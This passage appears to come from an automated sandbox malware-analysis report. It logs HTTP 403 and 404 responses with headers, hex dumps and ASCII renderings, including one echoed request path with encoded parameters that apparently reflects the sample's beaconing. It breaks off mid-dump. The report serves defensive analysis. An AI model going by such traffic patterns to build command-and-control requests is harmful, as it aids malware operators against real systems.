33 48 b5 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 9e=0}^$"E}mdnVm~>o))Pp[!{5#ka]YVp`kOzL"\|BY"sO%y/FW}3H0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 12 Sep 2024 13:05:49 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: nginxX-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffStrict-Transport-Security: max-age=63072000; includeSubDomainsContent-Encoding: gzipData Raw: 39 65 0d 0a 1f 8b 08 00 00 00 00 00 04 03 3d 8e cd 0a c2 30 10 84 ef 7d 8a a1 97 de 0c 0a 5e 24 e6 22 f6 e6 45 7d 81 90 ac 6d a8 64 eb 6e aa f8 f6 56 91 ce 6d 7e 3e 18 db 6f dc 29 a9 a6 dc 81 05 29 07 16 a1 50 70 b8 9c 5b 04 e6 21 11 ca 7b a4 95 35 f3 b4 b2 23 c2 dd ab ee 6b 12 61 a9 5d 85 59 56 8b 70 ee dc f1 9b ed 60 cd df ff ca 6b 4f 10 7a 4c a4 85 22 7c 8c 42 aa 0b d2 98 f5 90 b6 a6 59 18 bc bc 22 73 c1 8d a7 1c c1 19 a5 4f 0a 25 79 92 cc 2f 46 57 7d 00 ce cb 33 48 b5 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 9e=0}^$"E}mdnVm~>o))Pp[!{5#ka]YVp`kOzL"\|BY"sO%y/FW}3H0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 12 Sep 2024 13:05:52 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: nginxX-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffStrict-Transport-Security: max-age=63072000; includeSubDomainsContent-Encoding: gzipData Raw: 39 65 0d 0a 1f 8b 08 00 00 00 00 00 04 03 3d 8e cd 0a c2 30 10 84 ef 7d 8a a1 97 de 0c 0a 5e 24 e6 22 f6 e6 45 7d 81 90 ac 6d a8 64 eb 6e aa f8 f6 56 91 ce 6d 7e 3e 18 db 6f dc 29 a9 a6 dc 81 05 29 07 16 a1 50 70 b8 9c 5b 04 e6 21 11 ca 7b a4 95 35 f3 b4 b2 23 c2 dd ab ee 6b 12 61 a9 5d 85 59 56 8b 70 ee dc f1 9b ed 60 cd df ff ca 6b 4f 10 7a 4c a4 85 22 7c 8c 42 aa 0b d2 98 f5 90 b6 a6 59 18 bc bc 22 73 c1 8d a7 1c c1 19 a5 4f 0a 25 79 92 cc 2f 46 57 7d 00 ce cb 33 48 b5 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 9e=0}^$"E}mdnVm~>o))Pp[!{5#ka]YVp`kOzL"\|BY"sO%y/FW}3H0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 12 Sep 2024 13:05:55 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: nginxX-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffStrict-Transport-Security: max-age=63072000; includeSubDomainsData Raw: 31 32 63 0d 0a 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 20 20 20 20 3c 73 74 72 6f 6e 67 3e 45 72 72 6f 72 3a 20 3c 2f 73 74 72 6f 6e 67 3e 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 61 64 64 72 65 73 73 20 3c 73 74 72 6f 6e 67 3e 27 2f 31 6b 69 35 2f 3f 33 74 56 3d 67 73 43 71 31 6c 57 4a 46 31 64 67 50 5a 6f 59 41 4c 73 50 63 4e 56 4a 59 4c 6f 57 6f 6b 5a 6c 54 74 42 68 62 69 56 38 73 7a 45 38 79 68 6b 59 73 48 76 6d 54 56 4f 4b 65 44 66 67 51 66 6e 78 39 49 72 4d 6b 65 36 2f 73 32 47 66 51 46 74 5a 31 73 31 51 4e 52 63 4a 71 56 66 4f 65 33 48 37 67 6a 7a 31 55 77 73 58 55 51 38 73 4e 4f 4e 75 61 55 54 68 4b 6b 51 3d 26 61 6d 70 3b 49 68 6b 54 62 3d 78 50 66 48 47 30 6f 38 6b 5a 49 38 27 3c 2f 73 74 72 6f 6e 67 3e 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 12c<h2>Not Found</h2><p class="error"> <strong>Error: </strong> The requested address <strong>'/1ki5/?3tV=gsCq1lWJF1dgPZoYALsPcNVJYLoWokZlTtBhbiV8szE8yhkYsHvmTVOKeDfgQfnx9IrMke6/s2GfQFtZ1s1QNRcJqVfOe3H7gjz1UwsXUQ8sNONuaUThKkQ=&IhkTb=xPfHG0o8kZI8'</strong> was not found on this server.</p>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 12 Sep 2024 13:06:01 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 4d 8e bd 0e 82 30 14 85 f7 3e c5 95 5d 2e 1a c6 a6 83 02 91 04 91 98 32 38 62 7a 4d 49 90 22 2d 1a df de 02 8b e3 f9 fb 72 f8 26 b9 1c e5 ad 4a e1 24 cf 05 54 f5 a1 c8 8f 10 6c 11 f3 54 66 88 89 4c d6 64 1f 46 88 69 19 08 c6 b5 7b 76 82 6b 6a 94 17 ae 75 1d 89 38 8a a1 34 0e 32 33 f5 8a e3 6a 32 8e 4b 89 df 8d fa ce bb 9d f8 eb 78 c5 f8 20 a4 26 18 e9 35 91 75 a4 a0 be 16 f0 69 2c f4 9e f5 98 59 60 7a 70 ba b5 60 69 7c d3 18 72 1c fc 0c 17 a2 c7 cf 4f d8 0f f3 7c 15 3c c4 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: acM0>].28bzMI"-r&J$TlTfLdFi{vkju8423j2Kx &5ui,Y`zp`i\|rO\|<0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 12 Sep 2024 13:06:03 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 4d 8e bd 0e 82 30 14 85 f7 3e c5 95 5d 2e 1a c6 a6 83 02 91 04 91 98 32 38 62 7a 4d 49 90 22 2d 1a df de 02 8b e3 f9 fb 72 f8 26 b9 1c e5 ad 4a e1 24 cf 05 54 f5 a1 c8 8f 10 6c 11 f3 54 66 88 89 4c d6 64 1f 46 88 69 19 08 c6 b5 7b 76 82 6b 6a 94 17 ae 75 1d 89 38 8a a1 34 0e 32 33 f5 8a e3 6a 32 8e 4b 89 df 8d fa ce bb 9d f8 eb 78 c5 f8 20 a4 26 18 e9 35 91 75 a4 a0 be 16 f0 69 2c f4 9e f5 98 59 60 7a 70 ba b5 60 69 7c d3 18 72 1c fc 0c 17 a2 c7 cf 4f d8 0f f3 7c 15 3c c4 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: acM0>].28bzMI"-r&J$TlTfLdFi{vkju8423j2Kx &5ui,Y`zp`i\|rO\|<0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 12 Sep 2024 13:06:06 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 4d 8e bd 0e 82 30 14 85 f7 3e c5 95 5d 2e 1a c6 a6 83 02 91 04 91 98 32 38 62 7a 4d 49 90 22 2d 1a df de 02 8b e3 f9 fb 72 f8 26 b9 1c e5 ad 4a e1 24 cf 05 54 f5 a1 c8 8f 10 6c 11 f3 54 66 88 89 4c d6 64 1f 46 88 69 19 08 c6 b5 7b 76 82 6b 6a 94 17 ae 75 1d 89 38 8a a1 34 0e 32 33 f5 8a e3 6a 32 8e 4b 89 df 8d fa ce bb 9d f8 eb 78 c5 f8 20 a4 26 18 e9 35 91 75 a4 a0 be 16 f0 69 2c f4 9e f5 98 59 60 7a 70 ba b5 60 69 7c d3 18 72 1c fc 0c 17 a2 c7 cf 4f d8 0f f3 7c 15 3c c4 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: acM0>].28bzMI"-r&J$TlTfLdFi{vkju8423j2Kx &5ui,Y`zp`i\|rO\|<0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 12 Sep 2024 13:06:09 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 196Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 12 Sep 2024 13:06:28 GMTServer: ApacheContent-Length: 514Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 22 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 65 74 63 68 22 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 65 65 2d 73 6b 65 74 63 68 20 72 65 64 22 3e 3c 2f 64 69 76 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 65 65 2d 73 6b 65 74 63 68 20 62 6c 75 65 22 3e 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 0a 3c 68 31 3e 34 30 34 3a 0a 09 3c 73 6d 61 6c 6c 3e 50 6c 61 79 65 72 73 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 73 6d 61 6c 6c 3e 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 20 2d 2d 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="./style.css"></head><body><!-- partial:index.partial.html --><div class="site"><div class="sketch"><div class="bee-sketch red"></div><div class="bee-sketch blue"></div></div><h1>404:<small>Players Not Found</small></h1></div><!-- partial --> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 12 Sep 2024 13:06:30 GMTServer: ApacheContent-Length: 514Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 22 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 65 74 63 68 22 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 65 65 2d 73 6b 65 74 63 68 20 72 65 64 22 3e 3c 2f 64 69 76 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 65 65 2d 73 6b 65 74 63 68 20 62 6c 75 65 22 3e 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 0a 3c 68 31 3e 34 30 34 3a 0a 09 3c 73 6d 61 6c 6c 3e 50 6c 61 79 65 72 73 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 73 6d 61 6c 6c 3e 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 20 2d 2d 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="./style.css"></head><body><!-- partial:index.partial.html --><div class="site"><div class="sketch"><div class="bee-sketch red"></div><div class="bee-sketch blue"></div></div><h1>404:<small>Players Not Found</small></h1></div><!-- partial --> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 12 Sep 2024 13:06:33 GMTServer: ApacheContent-Length: 514Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 22 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 65 74 63 68 22 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 65 65 2d 73 6b 65 74 63 68 20 72 65 64 22 3e 3c 2f 64 69 76 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 65 65 2d 73 6b 65 74 63 68 20 62 6c 75 65 22 3e 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 0a 3c 68 31 3e 34 30 34 3a 0a 09 3c 73 6d 61 6c 6c 3e 50 6c 61 79 65 72 73 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 73 6d 61 6c 6c 3e 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 20 2d 2d 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="./style.css"></head><body><!-- partial:index.partial.html --><div class="site"><div class="sketch"><div class="bee-sketch red"></div><div class="bee-sketch blue"></div></div><h1>404:<small>Players Not Found</small></h1></div><!-- partial --> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 12 Sep 2024 13:06:36 GMTServer: ApacheContent-Length: 514Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 22 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 65 74 63 68 22 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 65 65 2d 73 6b 65 74 63 68 20 72 65 64 22 3e 3c 2f 64 69 76 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 65 65 2d 73 6b 65 74 63 68 20 62 6c 75 65 22 3e 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 0a 3c 68 31 3e 34 30 34 3a 0a 09 3c 73 6d 61 6c 6c 3e 50 6c 61 79 65 72 73 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 73 6d 61 6c 6c 3e 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 20 2d 2d 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="./style.css"></head><body><!-- partial:index.partial.html --><div class="site"><div class="sketch"><div class="bee-sketch red"></div><div class="bee-sketch blue"></div></div><h1>404:<small>Players Not Found</small></h1></div><!-- partial --> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 12 Sep 2024 13:07:18 GMTServer: ApacheX-Xss-Protection: 1; mode=blockReferrer-Policy: no-referrer-when-downgradeX-Content-Type-Options: nosniffX-Frame-Options: SAMEORIGINContent-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 12 Sep 2024 13:07:21 GMTServer: ApacheX-Xss-Protection: 1; mode=blockReferrer-Policy: no-referrer-when-downgradeX-Content-Type-Options: nosniffX-Frame-Options: SAMEORIGINContent-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 12 Sep 2024 13:07:24 GMTServer: ApacheX-Xss-Protection: 1; mode=blockReferrer-Policy: no-referrer-when-downgradeX-Content-Type-Options: nosniffX-Frame-Options: SAMEORIGINContent-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 12 Sep 2024 13:07:26 GMTServer: ApacheX-Xss-Protection: 1; mode=blockReferrer-Policy: no-referrer-when-downgradeX-Content-Type-Options: nosniffX-Frame-Options: SAMEORIGINContent-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 12 Sep 2024 13:18:44 GMTServer: ApacheUpgrade: h2Connection: Upgrade, closeVary: Accept-EncodingContent-Encoding: gzipContent-Length: 4761Content-Type: text/html; charset=utf-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd 5c 71 77 db 54 96 ff 7b f9 14 6f 4d c1 0e d8 92 ed 24 8e 9b 38 61 5c c7 49 0c 49 1c 1c a7 a5 4b bb 3e b2 f4 6c 8b c8 92 90 9e e3 a4 a5 e7 c0 ee 0c 30 bb 2d 85 81 65 da 5d 58 b6 70 0e e5 c0 4e 3b 3b 33 0b 0c 50 f6 cb d4 69 fa d7 7e 85 bd 4f b2 6c 59 7a 72 8c 0b 0e ac 72 92 58 4f f7 dd f7 bb f7 dd 7b df bd cf 92 32 7f bb 5c cc 95 cf 6f e5 51 83 34 95 a5 c7 32 ce 3f 2c 48 4b 8f 21 38 32 4d 4c 04 24 36 04 c3 c4 64 31 b4 53 5e 89 a5 43 dd 4b 44 26 0a 5e 7a f0 e7 6f 1f 7c fb 51 e7 fa 3b 0f de fb e8 e1 7b 37 8f ee de cd f0 f6 15 17 03 55 68 e2 c5 90 a1 55 35 62 86 90 a8 a9 04 ab c0 4e d5 64 55 c2 fb 51 55 ab 69 8a a2 b5 43 88 ef f6 32 c9 81 c3 81 1e fc 53 e8 8c 60 